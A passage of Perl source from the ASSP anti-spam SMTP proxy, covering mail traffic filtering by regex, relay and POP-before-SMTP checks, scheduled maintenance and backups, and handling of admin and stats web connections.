        &check4cfg if $AutoReloadCfg or $ourAutoReloadCfg;

		&downSecondary("terminating, ASSP down") if $AsASecondary && !&checkPrimaryPID();
#        &startPrimary() if $AsASecondary && !&checkPrimaryPID() && $RestartPrimaryFromSecondary;
		&startSecondary() if  $AutostartSecondary && !$AsASecondary && $webSecondaryPort;
		&getWebSocket if !$webAdminPortOK;
		if ($pidfile && !$AsASecondary) { open( my $FH, ">$base/$pidfile"); print $FH $$; close $FH; }
		if ($webPort && $pidfile && $AsASecondary) { open( $FH, ">$base/$pidfile". "_Secondary"); print $FH "$$"; close $FH; }
    	}
 }
sub SMTPTraffic {
    my $fh = shift;
    my $buf;
    my $bn;
    my $lbn;
    my $s;
    my $io;
    my $ip = $Con{$fh}->{ip};
    my $pending = 0;
    my $maxbuf = ("$fh" =~ /SSL/io) ? 16384 : $MaxBytes+4096 ;
    eval{$pending = $fh->pending(); $maxbuf = $pending if $pending > 0;} if ("$fh" =~ /SSL/io);
	$fh->blocking(0) if $fh->blocking;
	my $hasread = $fh->sysread($buf, $maxbuf);
	    if ($hasread == 0 && "$fh" =~ /SSL/io && IO::Socket::SSL::errstr() =~ /SSL wants a/io) {

        return;
    }
	if($hasread > 0 or length($buf) > 0) {
        d('SMTPTraffic - read OK');
        my $this = $Con{$fh};
        $buf = $this->{_} . $buf;
        if ( $Con{$fh}->{type} eq 'C' ) {
            $Con{$fh}->{timelast} = time();
        }
        if ( ( my $sb = $this->{skipbytes} ) > 0 ) {

           # support for XEXCH50 thankyou Microsoft for making my life miserable
            my $l = length($buf);
            d("skipbytes=$sb l=$l -> ");
            if ( $l >= $sb ) {
                sendque( $this->{friend}, substr( $buf, 0, $sb ) )
                  ;    # send the binary chunk on to the server
                $buf = substr( $buf, $sb );
                delete $this->{skipbytes};
            } else {
                sendque( $this->{friend}, $buf )
                  ;    # send the binary chunk on to the server
                $this->{skipbytes} = $sb -= length($buf);
                $buf = '';
            }
            d("skipbytes=$this->{skipbytes}");
        }
        d('SMTPTraffic - process read');
        $bn = $lbn = -1;
        while ( ( $bn = index( $buf, "\n", $bn + 1 ) ) >= 0 ) {
            $s = substr( $buf, $lbn + 1, $bn - $lbn );
            my $ls = length($s);
            if ( defined( $this->{bdata} ) ) { $this->{bdata} -= length($s); }
            d("doing line <$s>");

            
            
			if ($Con{$fh}->{type} eq 'C' && !$Con{$fh}->{noprocessing} &&
                    ! $Con{$fh}->{headerpassed} &&
                    ! $Con{$fh}->{relayok})
                {
                    if ($NotSpamTag &&  $s =~ /\Q$NotSpamTag\E/i) {

                        $Con{$fh}->{prepend} = '[notspamtag]';
						$Con{$fh}->{notspamtag} = 1;
                        $Con{$fh}->{noprocessing} = 1;
                        $Con{$fh}->{whitelisted} = 1;
                        $Con{$fh}->{passingreason} = "NotSpamTag";
                        my $adr = lc $Con{$fh}->{mailfrom};
            			$adr = batv_remove_tag($fh,$adr,'');
 
            			if ($adr && length($adr) < 50 && !&localmailaddress($fh,$adr) &&  $adr !~ /^SRS/i && !$Con{$fh}->{red} && !$Redlist{$adr} && !$NoAutoWhite && $NotSpamTagToWhite ) {
            				mlog( $fh, "whitelist addition: $adr by NotSpamTag" );

    						$Whitelist{$adr} = time;
						}
                    }

            }
            
            if ($Con{$fh}->{type} eq 'C' && !$Con{$fh}->{noprocessing} &&
                    ! $Con{$fh}->{headerpassed} &&
                    ! $Con{$fh}->{relayok})
                {
                    if ( $whiteReRE &&  $s =~ /($whiteReRE)/i) {
                    	my $subre = ($1||$2);
                        $Con{$fh}->{prepend} = '[whitelisted]';

                        $Con{$fh}->{whitelisted} = 1;
                        $Con{$fh}->{passingreason} = "whiteRe '$subre'";

                    }

            }
            
            if ($Con{$fh}->{type} eq 'C' && !$Con{$fh}->{noprocessing} &&
                    ! $Con{$fh}->{headerpassed} &&
                    ! $Con{$fh}->{relayok})
                {
                    if ( $npReRE &&  $s =~ /($npReRE)/i) {
                    	my $subre = ($1||$2);
                        $Con{$fh}->{prepend} = '[noprocessing]';

                        $Con{$fh}->{noprocessing} = 1;
                        $Con{$fh}->{passingreason} = "npRe '$subre'";

                    }

            }
            my $subreason;
            if ($Con{$fh}->{type} eq 'C' &&
                    ! $Con{$fh}->{headerpassed} &&
                    ! $Con{$fh}->{relayok}
                   
                    )
                {
      				if ($preHeaderRe && $s =~ /($preHeaderReRE)/i) {
                        $Con{$fh}->{prepend} = '[preHeader][blocked]';
                        $subreason = $1||$2;

						
                        mlog($fh,"(pre)header line check found '".($1||$2)."'");
                        NoLoopSyswrite($Con{$fh}->{friend}, "421 $myName Service not available, closing transmission channel\r\n") if $Con{$fh}->{friend};
                        done($fh);
                        $Stats{preHeader}++;
                        return;
					}

            }

			
            if ($Con{$fh}->{type} eq 'C' && !$Con{$fh}->{red}
                    && ! $Con{$fh}->{headerpassed}
                    && ! $Con{$fh}->{relayok})
                {

                    if ( $redRe &&  $s =~ /($redReRE)/i) {
                    	my $subre = ($1||$2);
						$Con{$fh}->{prepend} = '[red]';
                        $Con{$fh}->{red}   = $subre;

                    }
			}

  
            Maillog( $fh, $s ) if $Con{$fh}->{maillog};
            $Con{$fh}->{getline}->( $fh, $s );
            last
              unless $Con{ $fh
                  }; # it's possible that the connection can be deleted while there's still something in the buffer
            $lbn = $bn;
        }
        d('SMTPTraffic - process read end');
        if ( $Con{$fh} ) {
            ( $this->{_} ) = substr( $buf, $lbn + 1 );
            if ( length( $this->{_} ) > $MaxBytes ) {
                d('SMTPTraffic - process rest');
                $Con{$fh}->{headerpassed} = 1;
                if ( defined( $this->{bdata} ) ) {
                    $this->{bdata} -= length( $this->{_} );
                }
                Maillog( $fh, $this->{_} ) if $Con{$fh}->{maillog};
                $Con{$fh}->{getline}->( $fh, $this->{_} );
                ( $this->{_} ) = '';
            }
        }
    } elsif ($! =~ /Resource temporarily unavailable/i) { 
    my $error = $!;
	d("SMTPTraffic - no more data - $error");
	return; 
	} else { 
	d("SMTPTraffic - done"); 
	done($fh); 
	}
}


sub check4update {

    # only check every 15 seconds
    my $fil = shift;
    return if $check4updateTime{$fil} + 15 > time;
    $check4updateTime{$fil} = time;
    my @s     = stat( ${$fil} );
    my $mtime = $s[9];
    if ( $mtime != $FileUpdate{$fil} ) {

        # reload
        $FileUpdate{$fil} = $mtime;
        open( $FH, "<${$fil}" );
        local $/ = "\n";
        my $l;
        my %h;
        while ( $l = <$FH> ) {
            $l =~ y/\r\n\t //d;
            next unless $l;
            $h{ lc $l } = 1;
        }
        close $FH;
        %{$fil} = %h;
    }
}

sub check4cfg {

    # only check every 30 seconds
	my $checktime = 30; $checktime = 15 if $AsASecondary;
    return if $check4cfgtime + $checktime > time;
    $check4cfgtime = time;
    my @s     = stat("$base/assp.cfg");
    my $mtime = $s[9];
    if ( $mtime != $asspCFGTime ) {
        mlog( 0, "AdminUpdate: configuration file 'assp.cfg' loaded " );

        # reload
        $asspCFGTime = $mtime;
        reloadConfigFile();
    }
}



sub check4queue {

    # only check every 300 seconds

    return if $check4queuetime + 300 > time;
    $check4queuetime = time;
    my @s     = stat("$base/assp.cfg");
    my $mtime = $s[9];
    if ( $mtime != $queuetime ) {
        $queuetime = $mtime;
        &BlockReportGen('INSTANTLY');
    }
}

sub SetRE {
    use re 'eval';
    my ( $var, $r, $f, $desc ) = @_;

    eval { $$var = qr/(?$f)$r/ };
    mlog( 0, "regular expression error in '$r' for $desc: $@" ) if $@;
}


sub ok2Relay {
    my ( $fh, $ip ) = @_;
    return 1 if matchIP( $ip, 'acceptAllMail', $fh );
	if($relayHostFile) {
  		&check4update($relayHostFile);
  		return 1 if $relayHostFile{$ip};
	}
    return 1 if PopB4SMTP($ip);

    # failed all tests -- return 0
    return 0;
}

sub PopB4SMTP {
    my $ip = shift;
    if ($PopB4SMTPMerak) {
        return 1 if PopB4Merak($ip);
        return 0;
    }
    return 0 unless $PopB4SMTPFile;
    unless ($TriedDBFileUse) {
        eval 'use DB_File';
        mlog( 0, "could not load module DB_File: $@" ) if $@;
        $TriedDBFileUse = 1;
    }

    my %hash;

    # tie %hash, 'DB_File', $PopB4SMTPFile, O_READ, 0400, $DB_HASH;
    tie %hash, 'DB_File', $PopB4SMTPFile;
    if ( $hash{$ip} ) {
        mlog( 0, "PopB4SMTP OK for $ip" );
        return 1;
    } else {
        mlog( 0, "PopB4SMTP failed for $ip" );
        return 0;
    }
}

sub PopB4Merak  {
  return 0 unless $PopB4SMTPFile;
  my $ip=shift;
#This is a test version of ASSP PopB4SMTP
#This is to be used with Merak 7.5.2
#It also works with Merak 6.5 (which I run)
#Thanks to Jordon for the heads up on 7.5.2
#Basically, Merak's popsmtp file
#is made up of 64 Byte lines, no CR / LF.
#This holds the IP addy
#and the byte before it specifying the length.

  my @aPB4S;
  my $PB4S;
  my $ind;
  my $newIP;

#Load the whole file
#In examination of Merak popb4smtp file, it appears to have
#no carriage returns, so one line read should get the whole thing
#However, if you have an IP addy thats 13 chars long.... thus:

  my $MKPOPSMTP;
  (open($MKPOPSMTP,"< $PopB4SMTPFile")) or return 0 ;
  @aPB4S = <$MKPOPSMTP>;
  close($MKPOPSMTP);
  $PB4S = join('',@aPB4S);
#We now have all the contents of the file AND we've released it

#Now, instead of heavy parsing....
#We want to search for the IP and a byte ordinal specifying it's length
#    mlog(0,"Checking $ip for PopB4SMTP");
  $PB4S = "---" . $PB4S;
#    mlog(0,"Searching: $PB4S");
  $newIP = chr(length($ip)) . $ip;
#    mlog(0,"NewIP = $newIP");
#Find the index of IP in question
  $ind = index($PB4S,$newIP);
#    mlog(0,"Index = $ind");
#Did we find it?
  if ($ind  > 0) {
#Greetings program! This IO port is available for communicating to your user!
    mlog(0,"PopB4SMTP OK for $ip");
    return 1;
  }
  mlog(0,"PopB4SMTP NOT OK for $ip");
  return 0;
}

sub POP3Collect {
		return if $AsASecondary;
		return 0 unless $POP3Interval;
        return 0 unless -e "$base/assp_pop3.pl";

        return 0 if $POP3ConfigFile !~ /^ *file: *(?:.+)/i;
        d('POP3 - collect');

        my $perl = $^X;
        my $cmd = "\"$perl\" \"$base/assp_pop3.pl\" \"$base\" 2>&1 &";
        $cmd =~ s/\//\\/g if $^O eq "MSWin32";
        system($cmd);
#        my $out = qx($cmd);
#        foreach (split("\n",$out)) {
#            s/\r|\n//g;
#            mlog(0,$_) if $MaintenanceLog;
#        }
        return 1;
}
sub Rebuild {
        return if $AsASecondary;
        return 0 unless $RebuildSchedule;
        mlog( 0, "Warning: '$base/rebuildspamdb.pl' not found. Impossible to start rebuildspamdb.pl",1 ) unless -e "$base/rebuildspamdb.pl";
        return 0 unless -e "$base/rebuildspamdb.pl";
        my $hour = shift;
        $hour = 24 if !$hour;
		return 0 if $hour < 25 && !$RebuildSched{$hour};

		my $cmd;
		my $assp = $0;
		my $perl = $^X;
		$assp = $base.'\\'.$assp if ($assp !~ /\Q$base\E/io);
		if ( $^O eq "MSWin32" ) {
    
    		$assp =~ s/\//\\/go;
    		my $asspbase = $base;
    		$asspbase =~ s/\\/\//go;

    		$cmd = "\"$perl\" \"$base\\rebuildspamdb.pl\" \"$asspbase\" silent &";
		} else {
    
    		$cmd = "\"$perl\" \"$base/rebuildspamdb.pl\" \"$base\" silent &";
		}
        d('Rebuild - start');
        $cmd = $RebuildCmd if $RebuildCmd;

        mlog( 0, "Info: Command '$cmd' started from ASSP by RebuildSchedule" ) if $hour < 25;
		mlog( 0, "Info: Command '$cmd' started from ASSP by RebuildNow" ) if $hour > 24;
        system($cmd);

        return 1;
}

sub HouseKeeping {
        return 0 unless $HouseKeepingSchedule;
        return if $AsASecondary;
		my $backup = "$base/backup";
        my $hour = shift;
        $hour = 24 if !$hour;
		return 0 if $hour < 25 && !$HouseKeepingSched{$hour};
		mlog( 0, "HouseKeepingSchedule: housekeeping started" );
		&cleanCacheSSL if $SSLfailedObject;

        &LDAPcrossCheck if ($CanUseLDAP or $CanUseNetSMTP) && $ldaplistdb;
		mlog( 0, "saving heloblackdb" ) if $MaintenanceLog;

		&downloadTLDList() if $ValidateURIBL;
		&downloadGrip() if ! $noGriplistDownload && $griplist;

		my $debugdir = "$base/debug" ;
		my $age = 720 * 3600;
		my $debugdirfile = ".dbg";
		&cleanUpFiles($debugdir,$debugdirfile,$age);
		&cleanUpFiles($resendmail,".err",$age);
		&cleanUpFiles($incomingOkMail,".eml",$age);
		&cleanUpFiles($discarded,".eml",$age);
		unlink "$base/$pbdb.smtptimeout.db";
		my $backupfile = "";
		my $whitefile;
		if ($whitelistdb !~ /mysql/) {
			$whitefile = $2
              if $whitelistdb =~ /^(.*[\/\\])?(.*?)$/;
			unlink "$base/backup/$whitefile.yesterday.bak";
			rename( "$base/backup/$whitefile.today.bak", "$base/backup/$whitefile.yesterday.bak" );
        	copy("$base/$whitelistdb","$base/backup/$whitefile.today.bak");
        	

		}
		my $redfile;
		if ($redlistdb !~ /mysql/) {
			$redfile = $2
              if $redlistdb =~ /^(.*[\/\\])?(.*?)$/;
			unlink "$base/backup/$redfile.yesterday.bak";
			rename( "$base/backup/$redfile.today.bak", "$base/backup/$redfile.yesterday.bak" );
        	copy("$base/$redlistdb","$base/backup/$redfile.today.bak");
        	
		}
		
		$backupfile = "$backup/assp.cfg";
		unlink "$backupfile.yesterday.bak";
		rename( "$backupfile.today.bak", "$backupfile.yesterday.bak" );
        copy("$base/assp.cfg","$backupfile.today.bak");
        
		$backupfile = "$backup/asspstats.sav";
		unlink "$backupfile.yesterday.bak";
		rename( "$backupfile.today.bak", "$backupfile.yesterday.bak" );
        copy("$base/asspstats.sav","$backupfile.today.bak");

		&CleanWhitelist() if $UpdateWhitelist;
		mlog( 0, "Info: housekeeping ended" );
}


sub NoLoopSyswrite {
    my ($fh,$out,$timeout) = @_;
    d('NoLoopSyswrite');
    return 0 unless fileno($fh);
    return 0 unless $out;
    $timeout ||= 30;
    my $written = 0;
    my $ip;
    my $port;
    my $error;
    eval{
      $ip=$fh->peerhost();
      $port=$fh->peerport();
    };
    return 0 if($@);
    d("NoLoopSyswrite - write: " . substr($out,0,30) . ' - ' . length($out));

    
    if (   exists $Con{$fh}
        && $Con{$fh}->{type} eq 'C'       # is a client SMTP connection?
        && ($replyLogging == 2 or ($replyLogging == 1 && $out =~ /^[45]/o))
        && $out =~ /^(?:[1-5]\d\d\s+[^\r\n]+\r\n)+$/o)    # is a reply?
    {
        $out =~ s/SESSIONID/$Con{$fh}->{msgtime}/go;
        $out =~ s/MYNAME/$myName/go;
        my @reply = split(/(?:\r?\n)+/o,$out);
        for (@reply) {
            next unless $_;
            my $what = 'Reply';
            if ($_ =~ /^([45])/o) {
                $what = ($1 == 5) ? 'Error' : 'Status';
            }
            mlog( $fh, "[SMTP $what] $_", 1, 1 );
        }
    }
    my $stime = time + $timeout;
    my $NLwritable;
    if ($IOEngineRun == 0) {
        $NLwritable = IO::Poll->new();
    } else {
        $NLwritable = IO::Select->new();
    }
    &dopoll($fh,$NLwritable,"POLLOUT");
    my $l = length($out);
    while (length($out) > 0 && fileno($fh) && time < $stime) {
        my @canwrite;
        if ($IOEngineRun == 0) {
            $NLwritable->poll(1);
            @canwrite = $NLwritable->handles("POLLOUT");
        } else {
            @canwrite = $NLwritable->can_write(1);
        }
        $written = 0;
        $error = 0;
        eval{$written = $fh->syswrite($out,length($out));
             $error = $!;
             $error = '' if ("$fh" =~ /SSL/io && IO::Socket::SSL::errstr() =~ /SSL wants a/io);
        } if @canwrite or "$fh" =~ /SSL/io;
        if (@canwrite and ! $written and ($@ or $error)) {
            mlog(0,"warning: unable to write to socket $ip:$port $error") if $ConnectionLog == 3 && $error;
            mlog(0,"warning: unable to write to socket $ip:$port $@") if $ConnectionLog == 3 && $@;
            $! = $error;
            unpoll($fh,$NLwritable);

            return 0;
        }
        $out = substr($out,$written) if $written;
        &mlogWrite if ($WorkerNumber == 0);
    }
    unpoll($fh,$NLwritable);
    if (time >= $stime) {
        mlog(0,"warning: timeout (30s) writing to socket $ip:$port") if $ConnectionLog == 3;
    }

    return 1;
}

sub mlogWrite {
}
sub NewWebConnection {
  my $WebSocket = shift;
  my $s;
  d('NewWebConnection');

  $s=$WebSocket->accept;
  return unless $s;
  my $ip=$s->peerhost();
  my $port=$s->peerport();
  ConfigMakeIPRe('allowAdminConnectionsFrom','',$Config{allowAdminConnectionsFrom},'Initializing') if $allowAdminConnectionsFrom;
  if ($ip eq '127.0.0.1' && $allowLocalHostConnectionsAlways) {
  	} elsif ($allowAdminConnectionsFrom && ! matchIP($ip,'allowAdminConnectionsFrom')) {
  		
    mlog(0,"admin connection from $ip:$port rejected by 'allowAdminConnectionsFrom'");
    mlog(0,"admin connection to localhost:55555 possible") if $allowLocalHostConnectionsAlways;
    $Stats{admConnDenied}++;
    close($s);
    return;
  }


# logging is done later (in webRequest()) due to /shutdown_frame page, which auto-refreshes
    $readable->add($s);
    $SocketCalls{$s} = \&WebTraffic;
}

sub WebTraffic {
    my $fh = shift;
    my $buf;
    my $ip;
    my $done;
    my $hasread;
    my $maxbuf = ("$fh" =~ /SSL/io) ? 16384 : 4096 ;
    my $pending = 0;
    my $blocking = ("$fh" =~ /SSL/io) ? $HTTPSblocking : $HTTPblocking ;
    eval{$ip = $fh->peerhost();};
    d("WEB: $ip");
    $fh->blocking($blocking) if ! $WebCon{$fh};
      $hasread = $fh->sysread($buf,$maxbuf);
  if ($hasread == 0 && "$fh" =~ /SSL/io && IO::Socket::SSL::errstr() =~ /SSL wants a/io) {
      mlog(0,"WebTraffic: SSL socket is not ready - will retry") if $ConnectionLog == 3;
      ThreadYield();
      return;
  }
  if($hasread > 0 or length($buf) > 0) {
    local $_=$WebCon{$fh}.=$buf;
    if(length($_) > 20600000) {
# throw away connections longer than 20M to prevent flooding
      WebDone($fh);
      return;

    }
    if (/Content-length: (\d+)/i) {

            # POST request
            my $l = $1;
            if ( /(.*?\n)\r?\n\r?(.*)/s && length($2) >= $l ) {
                my $reqh = $1;
                my $reqb = $2;
                my $resp;
                my $tempfh;
                open( $tempfh, '>', \$resp );
                binmode $tempfh;
                webRequest( $tempfh, $fh, $reqh, $reqb );
                close($tempfh);

                if ( $resp =~ /(.*?)\n\r?\n\r?(.*)/s ) {
                    my $resph = $1;
                    my $respb = $2;
                    my $time  = gmtime();
                    $time =~
s/(...) (...) +(\d+) (........) (....)/$1, $3 $2 $5 $4 GMT/;
                    $resph .= "\nServer: ASSP/$version$modversion";
                    $resph .= "\nDate: $time";
					if ( $EnableHTTPCompression && $CanUseHTTPCompression ) {
    					eval { Compress::Zlib::memGzip($respb); };
   						$CanUseHTTPCompression = 0 if $@;
					}
                    if (   $EnableHTTPCompression
                        && $CanUseHTTPCompression
                        && /Accept-Encoding: (.*?)\n/i
                        && $1 =~ /(gzip|deflate)/i )
                    {
                        my $enc = $1;
                        if ( $enc =~ /gzip/i ) {

                            # encode with gzip
                            $respb = Compress::Zlib::memGzip($respb);

                        } else {

                            # encode with deflate
                            my $deflater = deflateInit();
                            $respb = $deflater->deflate($respb);
                            $respb .= $deflater->flush();
                        }
                        $resph .= "\nContent-Encoding: $enc";
                    }
                    $resph .= "\nContent-Length: " . length($respb);

                    print $fh $resph;
                    print $fh "\015\012\015\012";
                    print $fh $respb;
                }

                # close connection
                WebDone($fh);
            }
        } elsif (/\n\r?\n/) {
            my $resp;
            my $tempfh;
            open( $tempfh, '>', \$resp );
            binmode $tempfh;
            webRequest( $tempfh, $fh, $_ );
            close($tempfh);
            if ( $resp =~ /(.*?)\n\r?\n\r?(.*)/s ) {
                my $resph = $1;
                my $respb = $2;
                my $time  = gmtime();
                $time =~
                  s/(...) (...) +(\d+) (........) (....)/$1, $3 $2 $5 $4 GMT/;
                $resph .= "\nServer: ASSP/$version$modversion";
                $resph .= "\nDate: $time";
				if ( $EnableHTTPCompression && $CanUseHTTPCompression ) {
    					eval { Compress::Zlib::memGzip($respb); };
   						$CanUseHTTPCompression = 0 if $@;
				}
                if (   $EnableHTTPCompression
                    && $CanUseHTTPCompression
                    && /Accept-Encoding: (.*?)\n/i
                    && $1 =~ /(gzip|deflate)/i )
                {
                    my $enc = $1;
                    if ( $enc =~ /gzip/i ) {

                        # encode with gzip
                        $respb = Compress::Zlib::memGzip($respb);

                    } else {

                        # encode with deflate
                        my $deflater = deflateInit();
                        $respb = $deflater->deflate($respb);
                        $respb .= $deflater->flush();
                    }
                    $resph .= "\nContent-Encoding: $enc";
                }
                $resph .= "\nContent-Length: " . length($respb);
                print $fh $resph;
                print $fh "\015\012\015\012";
                print $fh $respb;
            }

            # close connection
            WebDone($fh);
        }
    } else {

        # connection closed
        WebDone($fh);
    }
}

sub NewStatConnection {
    my $fh = shift;
    my $s = $fh->accept;
    return unless $s;
    my $ip   = $s->peerhost();
    $ip = "[" . $ip . "]" if ($ip =~ /:/);
    my $port = $s->peerport();
    if ( $allowStatConnectionsFrom
        && !matchIP( $ip, 'allowStatConnectionsFrom' ) )
    {
        mlog( '',
"stat connection from $ip:$port rejected by allowStatConnectionsFrom"
        );
        $Stats{statConnDenied}++;
        $s->close();
        return;
    }

# logging is done later (in webRequest()) due to /shutdown_frame page, which auto-refreshes
    $readable->add($s);
    $SocketCalls{$s} = \&StatTraffic;
}

sub StatTraffic {
    my $fh = shift;
    my $buf;
    if ( $fh->sysread( $buf, 4096 ) > 0 ) {
        local $_ = $StatCon{$fh} .= $buf;
        if ( length($_) > 1030000 ) {

            # throw away connections longer than 1M to prevent flooding
            WebDone($fh);
            return;
        }
        if (/Content-length: (\d+)/i) {

            # POST request
            my $l = $1;
            if ( /(.*?\n)\r?\n\r?(.*)/s && length($2) >= $l ) {
                my $reqh = $1;
                my $reqb = $2;
                my $resp;
                my $tempfh;
                open( $tempfh, '>', \$resp );
                binmode $tempfh;
                statRequest( $tempfh, $fh, $reqh, $reqb );
                close($tempfh);

                if ( $resp =~ /(.*?)\n\r?\n\r?(.*)/s ) {
                    my $resph = $1;
                    my $respb = $2;
                    my $time  = gmtime();
                    $time =~
s/(...) (...) +(\d+) (........) (....)/$1, $3 $2 $5 $4 GMT/;
                    $resph .= "\nServer: ASSP/$version$modversion";
                    $resph .= "\nDate: $time";
					if ( $EnableHTTPCompression && $CanUseHTTPCompression ) {
    					eval { Compress::Zlib::memGzip($respb); };
   						$CanUseHTTPCompression = 0 if $@;
					}
                    if (   $EnableHTTPCompression
                        && $CanUseHTTPCompression
                        && /Accept-Encoding: (.*?)\n/i
                        && $1 =~ /(gzip|deflate)/i )
                    {
                        my $enc = $1;
                        if ( $enc =~ /gzip/i ) {

                            # encode with gzip
                            $respb = Compress::Zlib::memGzip($respb);

                        } else {

                            # encode with deflate
                            my $deflater = deflateInit();
                            $respb = $deflater->deflate($respb);
                            $respb .= $deflater->flush();
                        }
                        $resph .= "\nContent-Encoding: $enc";
                    }
                    $resph .= "\nContent-Length: " . length($respb);
                    print $fh $resph;
                    print $fh "\015\012\015\012";
                    print $fh $respb;
                }

                # close connection
                WebDone($fh);
            }
        } elsif (/\n\r?\n/) {
            my $resp;
            my $tempfh;
            open( $tempfh, '>', \$resp );
            binmode $tempfh;
            statRequest( $tempfh, $fh, $_ );
            close($tempfh);
            if ( $resp =~ /(.*?)\n\r?\n\r?(.*)/s ) {
                my $resph = $1;
                my $respb = $2;
                my $time  = gmtime();
                $time =~
                  s/(...) (...) +(\d+) (........) (....)/$1, $3 $2 $5 $4 GMT/;
                $resph .= "\nServer: ASSP/$version$modversion";
                $resph .= "\nDate: $time";

				if ( $EnableHTTPCompression && $CanUseHTTPCompression ) {
    					eval { Compress::Zlib::memGzip($respb); };
   						$CanUseHTTPCompression = 0 if $@;
				}
                if (   $EnableHTTPCompression
                    && $CanUseHTTPCompression
                    && /Accept-Encoding: (.*?)\n/i
                    && $1 =~ /(gzip|deflate)/i )
                {
                    my $enc = $1;
                    if ( $enc =~ /gzip/i ) {

                        # encode with gzip
                        $respb = Compress::Zlib::memGzip($respb);

                    } else {

                        # encode with deflate
                        my $deflater = deflateInit();
                        $respb = $deflater->deflate($respb);
                        $respb .= $deflater->flush();
                    }
                    $resph .= "\nContent-Encoding: $enc";
                }
                $resph .= "\nContent-Length: " . length($respb);
                print $fh $resph;
                print $fh "\015\012\015\012";
                print $fh $respb;
            }

            # close connection
            WebDone($fh);
        }
    } else {

        # connection closed
        WebDone($fh);
    }
}

sub WebDone {
    my $fh = shift;
    delete $SocketCalls{$fh};
    delete $WebCon{$fh};
    delete $StatCon{$fh};
    $readable->remove($fh);
    $writable->remove($fh);
    $fh->close;
}
sub ConCountSync {

}



# done with a file handle -- close him and his friend(s)
sub done {
  my $fh=shift;
  d('done');

  $Con{$Con{$fh}->{forwardSpam}}->{gotAllText} = 1 if $Con{$fh}->{forwardSpam} && exists $Con{$Con{$fh}->{forwardSpam}};
  $Con{$Con{$Con{$fh}->{friend}}->{forwardSpam}}->{gotAllText} = 1 if $Con{$Con{$fh}->{friend}}->{forwardSpam} && exists $Con{$Con{$Con{$fh}->{friend}}->{forwardSpam}};
  done2($Con{$fh}->{friend}) if $Con{$fh}->{friend};
  done2($fh);
}

# close a file handle & clean up associated records
sub done2 {
    my $fh = shift;
    d('done2');
    return unless $fh;
	my $ip=$Con{$fh}->{ip};
    #    return unless $Con{$fh};

    if ($ip &&
            $ConnectionLog &&
            !(matchIP($ip,'noLog',0,1)) &&
            (($Con{$fh}->{movedtossl} && "$fh" =~/SSL/io) or (!$Con{$fh}->{movedtossl})))
        {
            $Con{$fh}->{writtenDataToFriend} -= 6;
            $Con{$fh}->{writtenDataToFriend} = 0 if $Con{$fh}->{writtenDataToFriend} < 0;
            my $sz = max($Con{$fh}->{spambuf},$Con{$fh}->{mailloglength});
            $sz = $Con{$fh}->{maillength} unless $sz;
            mlog($fh, 'finished message - received DATA size: ' . &formatNumDataSize($sz) . ' - sent DATA size: ' . &formatNumDataSize($Con{$fh}->{writtenDataToFriend}),1) if $sz or $Con{$fh}->{writtenDataToFriend};
            my $tmpTimeNow = time();
            my $tmpDuration = $tmpTimeNow - $Con{$fh}->{timestart};  
            mlog($fh, "disconnected ($tmpDuration seconds)",1) if $Con{$fh}->{timestart} ;
           	mlog($fh, "disconnected ",1) if !$Con{$fh}->{timestart} ;
    }
    d("closing $fh");

    # close the maillog if it's still open
    d('closing maillogfh');
    my $f = $Con{$fh}->{maillogfh};
    eval { close $f; } if $f;

    # remove from the select structure
    delete $SocketCalls{$fh};
    $readable->remove($fh);
    $writable->remove($fh);


    d("closing $fh $ip");
    # close it
    if ("$fh" =~ /SSL/io) {

    	eval{close($fh);};
        if ($@) {
                mlog(0,"warning: unable to close $fh - $@");
                eval{IO::Socket::SSL::kill_socket($fh)};
                if ($@) {
                    mlog(0,"warning: unable to kill $fh - $@");
                }
        }

    } else {
        eval{close($fh) if fileno($fh);};
    }

    d('delete the Connection data');
    # delete the Connection data
    delete $Con{$fh};
    delete $ConDelete{$fh};

	d('delete the Session data');
    # delete the Session data & re-add sockets.
    if ( exists $SMTPSession{$fh} ) {
        delete $SMTPSession{$fh};
        $smtpConcurrentSessions--;
        $smtpConcurrentSessions = 0 if $smtpConcurrentSessions < 0;

        foreach my $lfh (@lsn)    		{ $readable->add($lfh) if !$readable->exists($lfh) };
        foreach my $lfh (@lsn2)   		{ $readable->add($lfh) if !$readable->exists($lfh) };
        foreach my $lfh (@lsnSSL) 		{ $readable->add($lfh) if !$readable->exists($lfh) };
        foreach my $lfh (@lsnRelay)  	{ $readable->add($lfh) if !$readable->exists($lfh) };
        $SMTPSession{Total}-- if $maxSMTPSessions;
        $SMTPSession{$ip}--   if $maxSMTPipSessions;
        delete $SMTPSession{$ip} if ($SMTPSession{$ip} <= 0);
    }
    d('finished closing connection');

}

# adding a socket to the Select structure and Con hash
sub addfh {
    my ( $fh, $getline, $friend ) = @_;
    d('addfh');
    $SocketCalls{$fh} = \&SMTPTraffic;
    $readable->add($fh);
    binmode($fh);
    $Con{$fh} = {};
    my $this = $Con{$fh};
    $this->{getline}   = $getline;
    $this->{friend}    = $friend;
    $this->{timestart} = time();
    $this->{timelast}  = time();
}

sub sayMessageOK {
	my ( $fh, $prepend ) = @_;
	$prepend |= "[MessageOK]";
    my $this = $Con{$fh};
    d('sayMessageOK');
    return if $this->{sayMessageOK} eq 'already';
    return if $this->{deleteMailLog};
    return unless $this->{sayMessageOK};
    &makeSubject($fh);
    ccMail($fh,$this->{mailfrom},$sendHamInbound,\$this->{header},$this->{rcpt}) if !$this->{spamfound};
    pbBlackDelete($this->{ip}) if !$this->{spamfound};    

    $this->{prepend} = "[MessageOK]" if !$this->{spamfound};
    $this->{prepend} = "[WhitelistedOK]" if $this->{sayMessageOK} =~ /whitelist/i;
    $this->{prepend} = "[NoprocessingOK]" if $this->{sayMessageOK} =~ /noprocessing/i;
     $this->{prepend} = "[NoprocessingOK]" if $this->{sayMessageOK} =~ /without processing/i;
    $this->{prepend} = "[LocalOK]" if $this->{sayMessageOK} =~ /local/i && $this->{relayok};
    $this->{prepend} = $this->{sayprepend} if $this->{spamfound};

    mlog($fh,"$this->{sayMessageOK}", 0, 2 );

    $this->{sayMessageOK} = 'already';
    
	RWLCacheUpdate($fh);

}
# adding a SSL socket to the Select structure and Con hash
sub addsslfh {
  my ($oldfh,$sslfh,$friend) =@_;
  $SocketCalls{$sslfh}=$SocketCalls{$oldfh};
  $sslfh->blocking(0);
  binmode($sslfh);
  %{$Con{$sslfh}} = %{$Con{$oldfh}};
  $Con{$sslfh}->{friend} = $friend;
  $Con{$sslfh}->{self} = $sslfh;
  $Con{$sslfh}->{oldfh} = $oldfh;
  if ($Con{$sslfh}->{type} eq 'C') {
    $Con{$sslfh}->{client}   = $sslfh;
    $Con{$sslfh}->{server}   = $friend;
